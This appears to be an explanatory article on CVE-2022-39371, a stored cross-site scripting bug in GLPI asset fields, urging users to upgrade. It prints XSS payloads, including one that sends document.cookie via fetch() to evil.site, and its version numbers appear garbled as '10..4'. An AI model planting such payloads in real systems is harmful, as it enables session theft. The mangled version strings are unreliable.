GLPI (Gestionnaire Libre de Parc Informatique) is a free open-source IT management software. Many organizations, from schools to big companies, use it to track hardware, manage software licenses, and even run service desks. But in October 2022, a dangerous bug called CVE-2022-39371 was found that could let attackers inject malicious scripts into your asset inventory — all because GLPI didn’t handle HTML tags properly in asset information fields.
In this article, we’ll break down what happened, show a code example of the vulnerability, and explain what you should do to stay safe.
---
What is CVE-2022-39371?
CVE-2022-39371 is a Cross-Site Scripting (XSS) vulnerability in GLPI, affecting versions prior to 10..4. XSS bugs let attackers inject JavaScript or other code into webpages viewed by other users — a classic way to steal session cookies, hijack accounts, or mess with your data.
Summary of the problem
- User-supplied input in asset inventory (like a device’s name or serial number) was not cleaned up properly.
Attackers could save malicious HTML tags (<script>, <img onerror>, etc.) in these fields.
- When an admin or technician later viewed this data, the malicious script would run in their browser with their permissions.
Suppose an attacker creates or edits an asset with a tricky name, like
<img src="x" onerror="alert('GLPI XSS!')">
If GLPI doesn’t clean this input, when you view the asset inventory page, your browser executes the alert() for the attacker’s script. A real attacker could do much worse, like stealing your session or redirecting you to a phishing page.
Screenshot simulation of vulnerable input
[Asset Name]
Laptop A
<img src="x" onerror="fetch('https://evil.site/steal?cookie='+document.cookie)">
Printer C
When someone loads the inventory page, the browser fetches the asset with the malicious name — and runs the attacker’s code.
Code Snippet – What Was Missing
This is simplified, but imagine a PHP code snippet where GLPI renders the asset name directly without escaping:
<!-- This is BAD practice and led to the bug -->
<td><?= $asset['name'] ?></td>
It should have safely escaped output like this
<!-- This is SAFE -->
<td><?= htmlspecialchars($asset['name'], ENT_QUOTES, 'UTF-8') ?></td>
Without htmlspecialchars, any user input can inject HTML (like <script> tags).
How Bad is it?
Who is at risk:
Anyone running GLPI versions before 10..4 is vulnerable.
Modify page content or capture keystrokes.
No known workarounds:
There is no simple way to block this bug — you have to update!
How to Fix
The developers patched this in GLPI version 10..4 by properly neutralizing all user-supplied HTML in asset fields.
Upgrade GLPI to 10..4 or newer
GLPI Release Notes 10..4
Check your version:
Login → Configuration → About, or look in your installation folder for a file called VERSION.
Technical References
- CVE-2022-39371 in NVD
- GLPI GitHub Security Advisory
- GLPI Changelog 10..4
Conclusion
CVE-2022-39371 might look small, but it packs a punch. If you run GLPI to manage your IT assets, you must upgrade to version 10..4 or later as soon as possible. Never underestimate XSS — it’s one of the most common but damaging bugs in web software.
Stay safe, keep your asset manager patched, and always treat user input with suspicion!
*GLPI users, update now and protect your organization from attack. There are no easy workarounds — patching is the answer.*
Further Reading
- OWASP XSS Overview
- GLPI Security Updates
Timeline
Published on: 11/03/2022 16:15:00 UTC
Last modified on: 11/03/2022 18:52:00 UTC